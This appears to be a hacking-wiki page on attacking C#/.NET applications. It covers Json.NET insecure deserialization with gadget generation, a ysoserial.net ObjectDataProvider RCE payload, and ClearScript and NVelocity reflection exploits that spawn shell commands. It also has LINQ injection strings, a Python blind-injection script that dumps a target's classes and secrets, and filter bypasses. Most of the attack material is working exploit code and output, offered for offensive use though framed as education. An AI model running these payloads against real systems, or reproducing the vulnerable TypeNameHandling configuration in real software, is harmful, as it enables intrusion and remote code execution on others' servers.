C#

C Sharp and the .NET Framework

Hello World

The first step is creating a new project. With the console template for a simple CLI app, you can easily fill an empty directory with the necessary files:

Create new project
mkdir HelloWorld && cd HelloWorld
dotnet new console

You can find external packages in the NuGet Gallery, and then add them to your project:

dotnet add package Newtonsoft.Json

Finally, run the main Program.cs file:

dotnet run

Deserialization

There are different ways to serialize objects in C#, which is the process of turning it into a string. Then, this string can be passed around through other channels and eventually be deserialized to receive an identical copy of the original object.

Creating arbitrary objects with fields is dangerous when this deserialized string is in the attacker's control. By abusing lax configuration, you can instantiate objects with special behavior to read/write files, or even achieve Remote Code Execution if the right gadgets are accessible.

Newtonsoft Json.NET

The most common form on deserialization in the web is JSON. The Json.NET library is the most widely-used for turning some string from the user into an instance of a class. The fields on this class define the structure of the JSON, for example (source):

public class Account {
    public string Email { get; set; }
    public bool Active { get; set; }
    public DateTime CreatedDate { get; set; }
    public IList<string> Roles { get; set; }
}

string json = @"{
  'Email': '[email protected]',
  'Active': true,
  'CreatedDate': '2013-01-20T00:00:00Z',
  'Roles': [
    'User',
    'Admin'
  ]
}";

Account account = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(account.Email);  // "[email protected]"

The above example is secure, because it only allows deserializing basic data types. It can be wrongly configured, however, to allow all classes instead, which may include dangerous ones we call "gadgets". This is possible if a JsonSerializerSettings is given as the 2nd argument with a .TypeNameHandling value other than None.

Vulnerable Example
JsonConvert.DeserializeObject<Account>(json, new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.All
    // Also `.Arrays`, `.Objects` and `.Auto` are vulnerable
});

This enables a special $type key for each JSON object (also in nested properties) that can reference any loaded class, and set its fields. This is only possible for properties with the Object type because all gadgets will inherit from it:

public class Vulnerable {
    public string Str { get; set; }
    public Object Obj { get; set; }
}

You can easily generate a payload by serializing it first with the same library and classes, then send it to the target. Make sure to include TypeNameHandling.All to ensure any types are included and the target can resolve them. You should structure your classes exactly the same as the target because the $type key includes this information:

Generate Exploit
using Newtonsoft.Json;

public class Gadget {
    private string _input;
    public string Input {
        get { return _input; }

        set {
            _input = value;
            // Imagine some dangerous logic here...
            Console.WriteLine("Command executed: " + value);
        }
    }
}

public class Vulnerable {
    public required string Str { get; set; }
    // Dangerous: this allows the `object` type
    public required object Obj { get; set; }
}

class Program {
    static void Main() {
        // Serialization
        Gadget gadget = new Gadget { Input = "calc.exe" };
        Vulnerable vuln = new Vulnerable {
            Str = "Hello, world!",
            Obj = gadget
        };
        string json = JsonConvert.SerializeObject(vuln, new JsonSerializerSettings         {
            TypeNameHandling = TypeNameHandling.All
        });
        Console.WriteLine(json);  // {"$type":"Vulnerable, JsonTest","Str":"[email protected]","Obj":{"$type":"Gadget, JsonTest","Input":"calc.exe"}}

        Console.WriteLine("-> Press enter to continue..."); Console.ReadLine();

        // Deserialization
        Vulnerable? account = JsonConvert.DeserializeObject<Vulnerable>(json, new JsonSerializerSettings {
            TypeNameHandling = TypeNameHandling.All
        });
        if (account is not null) Console.WriteLine("Result: " + account.Obj);
        else Console.WriteLine("Failed to deserialize");
    }
}

When ran with dotnet run, this will generate the object with payload first, and then serialize it into JSON ready to send to the target. The 2nd part will similar the target receiving the string, and deserializing it into a vulnerable type. You will see that the set {} method is called twice:

Output
Command executed: calc.exe
{"$type":"Vulnerable, JsonTest","Str":"[email protected]","Obj":{"$type":"Gadget, JsonTest","Input":"calc.exe"}}
-> Press enter to continue...

Command executed: calc.exe
Result: Gadget

The syntax is pretty simple, so if you want to, you can even handcraft these payloads. The syntax for the $type key is Path.To.Class, AssemblyName, where the path to the class is follows the nested structure of namespaces and classes to your gadget.

For another example, see the writeup below:

Writeup including a custom Json.NET deserialization chain to execute commands

Json.NET is far from the only library allowing arbitrary objects to be deserialized. To get an overflow, see the table below to understand which library supports what features:

Table of serializers and what gadgets you can execute with them (source)

Gadget Chains

You'll be very lucky if you have the source code of your target application, and find a single setter in there that allows RCE. Instead, you should rely on chains of gadgets, often in widely-used libraries.

One small gadget can maybe call a function on another gadget, which grabs a property from a third gadget to ultimately use it in an unsafe way. It's an art to combine these in creative ways, and requires a good understanding of what's available and possible in the codebase. The ysoserial.net tool collects such gadgets and can generate them with payloads at will:

Collection of gadget chains and generator for serialized input

To use it, select a gadget chain with -g, select the Formatter with -f (eg. Json.Net). Most gadgets will achieve RCE, and with the -c argument you can customize the final shell command it executes.

$ ysoserial.net -g ObjectDataProvider -f Json.Net -c 'calc.exe' | tr "'" '"'
{
    "$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "MethodParameters":{
        "$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "$values":["cmd", "/c calc.exe"]
    },
    "ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
}

If the target loads the PresentationFramework assembly and you cause it to insecurely deserialize the above payload, the calc.exe command will be executed. If the conditions on the target are unknown, you should try many different known chains until one works.

Finding Gadgets

To find your own gadgets, you should look for code that you are able to trigger during deserialization. These are get {} and set {} methods as mentioned above, but the constructor will also be called. You can pass named arguments to the constructor by your key names, for example:

public class Gadget {
    public Gadget(string input, int input2) {
        Console.WriteLine("Gadget(" + input + ", " + input2 + ")");
    }
}
Payload
{"$type":"Gadget, JsonTest","input":"calc.exe", "input2": 1337}
Output
Gadget(calc.exe, 1337)

Some gadgets will call methods on your arguments, such as the HashMap calling .hashCode() to turn it into a unique integer. This means any vulnerable logic inside an object's hashCode implementation will also be callable if we just wrap in in a hashmap! Combing gadgets in chains like this is the standard way to find exploits.

Reflection

Like many languages, C# has ways to interact with the type system at runtime through Reflection. This is useful in exploits when you can execute some limited C# code, or an interpreter of another language while having some interoperability. In such cases, you can often access properties and call methods on objects, and using Reflection, that can lead to RCE.

This is mainly done with chaining built-in methods on various types. All methods and attributes are well-documented on the Microsoft site, for example, the Assembly class.

Visual Studio is the most featureful editor for C#. Something useful to us is when debugging any application, you can use the Immediate Window to quickly evaluate some small bits of code and get correct auto-completion. This makes it easier to explore your options.

Auto-complete feature and getting immediate results in Visual Studio

We'll go through an example of ClearScript, a JavaScript interpreter that used to have an issue allowing access to Reflection (and can still be configured to do so via AllowReflection=true).

Your first goal should be accessing the main Assembly, which you can get from a Type as .Assembly. To always get the main assembly, you can get the type of a type, which will always be the built-in type. In the example below, Helper was a C# object passed into the sandboxed context. We can use it to get a reference to the assembly:

const assembly = Helper.GetType().GetType().Assembly;

We will now use its Load(String) method to import a built-in assembly that allows executing shell commands: System.Diagnostics.Process. We can get access to MethodInfo as a variable, and to call it, we'll use Invoke(Object, Object[]) where the 2nd argument is an array representing the arguments passed to the method.

To create an array, in some cases, the simple [] syntax isn't possible. Using more methods, however, we can construct one out of thin air. We'll construct a new variable of type List<String> which has an Add() method. To do so, we need to pass Assembly.CreateInstance() a stringified version of the type, which we can get as follows:

C#
var list = new List<string>();
list.GetType().ToString()  // "System.Collections.Generic.List`1[System.String]"

Finally, to convert this mutable List into a String[], we'll use its ToArray() method:

const assembly = Helper.GetType().GetType().Assembly;
const load = assembly.GetType('System.Reflection.Assembly').GetMethods()[0];

const args = assembly.CreateInstance('System.Collections.Generic.List`1[System.String]');
args.Add('System.Diagnostics.Process');
const process = load.Invoke(null, args.ToArray());

With this new Process assembly, we can prepare the arguments for its Start(String, String) method which takes the command to execute as its 1st argument, and the arguments (split by space) as shell arguments into the 2nd argument. If we list all the methods, this happens to be the 70th, and we can invoke it similar to before:

const args2 = assembly.CreateInstance('System.Collections.Generic.List`1[System.String]');
args2.Add('sh');
args2.Add('-c id>/tmp/pwned');
console.log(process.GetType('System.Diagnostics.Process').GetMethods()[70].Invoke(null, args2.ToArray()));

This should save the output of id into /tmp/pwned.

Similarly, the NVelocity templating framework can call arbitrary methods on C# objects, and thus is vulnerable to this Reflection abuse to reach RCE:

Exploit 1
#set( $assembly = $name.GetType().GetType().Assembly )
#set( $load = $assembly.GetType('System.Reflection.Assembly').GetMethods().Get(0) )
#set( $args = $assembly.CreateInstance("System.Collections.Generic.List`1[System.String]") )
$args.Add("System.Diagnostics.Process")
$args
#set( $process = $load.Invoke(null, $args.ToArray()) )
$process
#set( $args2 = $assembly.CreateInstance("System.Collections.Generic.List`1[System.String]") )
$args2.Add("bash")
$args2.Add("-c id>/tmp/pwned")
${process.GetType('System.Diagnostics.Process').GetMethods().Get(70).Invoke(null, $args2.ToArray())}

Finally, below is another exploit for the same framework that uses some different methods create a ProcessStartInfo and also return its output in the template content:

Exploit 2
#set($a = "")
#set($activator_type = $a.GetType().Assembly.GetType("System.Activator"))
#set($create_instance = $activator_type.GetMethods().Get(8))
#set($args = ["System.Diagnostics.Process, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a", "System.Diagnostics.Process"])
#set($wrapped_process = $create_instance.Invoke(null, $args.ToArray()))
#set($process = $wrapped_process.Unwrap())

#set($args = ["System.Diagnostics.Process, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a", "System.Diagnostics.ProcessStartInfo"])
#set($wrapped_process_start_info = $create_instance.Invoke(null, $args.ToArray()))
#set($process_start_info = $wrapped_process_start_info.Unwrap())

#set($process_start_info.FileName = "id")
#set($process_start_info.RedirectStandardOutput = true)

#set($flag = $process.Start($process_start_info))
$!flag.StandardOutput.ReadToEnd()

LINQ Injection

Language Integrated Query (LINQ) is a Microsoft library for C# used to query objects similar to SQL syntax. It does, however, support C# syntax with function calls embedded inside the syntax, such as:

using System.Linq.Dynamic.Core;

var query = products.AsQueryable();
var response = query.Where($"Name.Contains(\"{showProducts.name}\")");

The above inserts user input from showProducts.name into the Where() call, which without sanitization allows an attacker to escape the " (double quote) and rewrite the query. For example:

  • X") || 1==1 || "" == ("X: Shows all products

  • X") || 1==2 || "" == ("X: Empty array

Version < 1.3.0 RCE

The following Github Repository and accompanying article explain how to exploit such an injection for consistent Remote Code Execution.

Proof of Concept of the RCE
Explanation and technical details of how it was found

Latest version property access

The patch only restricts method calling to predefined types. This means that methods on Strings, Arrays, etc. will work, but methods on custom types will not. It is still possible to run methods on custom types that are inherited from allowed classes, and it is still possible to access any properties.

"".GetType().Module.Assembly still works to get the Standard Module.

GetType().Module.Assembly gets the module of the object passed into the Where() function, often custom code.

By chaining more properties and using ToArray() on enumerables, it is possible to enumerate all classes, attributes, properties and methods in a module. The following script implements this using binary search and requires a test() function that injects in such a way that you can evaluate a condition.

Exploit Script
import requests
from tqdm import tqdm

HOST = "http://localhost:8000"

def test(condition):
    data = {
        "name": f"X\") || {condition} || \"\" == (\"X"
    }
    r = requests.post(HOST + "/api/products", json=data)
    return len(r.json()["products"]) > 0

assert test("1==1")
assert not test("1==2")

def binary_search(expression, lo=0, hi=127):
    """Find the value of an integer"""
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if test(f"{expression} < {mid}"):
            hi = mid - 1
        else:
            lo = mid

    return lo

def find_string(expression):
    length = binary_search(f"{expression}.Length", hi=2**16)

    content = bytes([binary_search(f"{expression}[{i}].CompareTo('\x00')")
                     for i in tqdm(range(length), desc=expression, leave=False)])

    return content.decode()

types = "GetType().Module.Assembly.DefinedTypes"
types_len = binary_search(f"{types}.ToArray().Length")

for type_i in range(types_len):
    type = f"{types}.ToArray()[{type_i}]"
    type_name = find_string(f"{type}.Name")
    print(f"class {type_name} {{")

    properties_len = binary_search(
        f"{type}.DeclaredProperties.ToArray().Length")
    for property_i in range(properties_len):
        property = f"{type}.DeclaredProperties.ToArray()[{property_i}]"
        property_type = find_string(f'{property}.PropertyType.Name')
        property_name = find_string(f'{property}.Name')
        print(f"  {property_type} {property_name} {{ get; set; }}")

    fields_len = binary_search(f"{type}.DeclaredFields.ToArray().Length")
    for field_i in range(fields_len):
        field = f"{type}.DeclaredFields.ToArray()[{field_i}]"
        field_type = find_string(f'{field}.FieldType.Name')
        field_name = find_string(f'{field}.Name')
        print(f"  {field_type} {field_name};")

    print()

    methods_len = binary_search(f"{type}.DeclaredMethods.ToArray().Length")
    for method_i in range(methods_len):
        method = f"{type}.DeclaredMethods.ToArray()[{method_i}]"
        method_return_type = find_string(f"{method}.ReturnType.Name")
        method_name = find_string(f"{method}.Name")
        print(f"  {method_return_type} {method_name}() {{}}")

    print("}\n")

Example output looks like this (note that some magic members are also added, these can be ignored):

Output
class <>f__AnonymousType0`1 {
  <Products>j__TPar Products { get; set; }
  <Products>j__TPar <Products>i__Field;

  <Products>j__TPar get_Products() {}
  Boolean Equals() {}
  Int32 GetHashCode() {}
  String ToString() {}
}

class ProductsController {
  String secret;

  String testfunc() {}
  IActionResult Show() {}
}

class Product {
  String Name { get; set; }
  String <Name>k__BackingField;

  String get_Name() {}
  Void set_Name() {}
}

class Program {

  Void <Main>$() {}
}

class ShowProducts {
  String name { get; set; }
  String <name>k__BackingField;

  String get_name() {}
  Void set_name() {}
}

Filter Bypasses

  1. Any method call like .GetType() can be obfuscated as .@GetType()

  2. Whitespace also works, eg. . GetType()

Last updated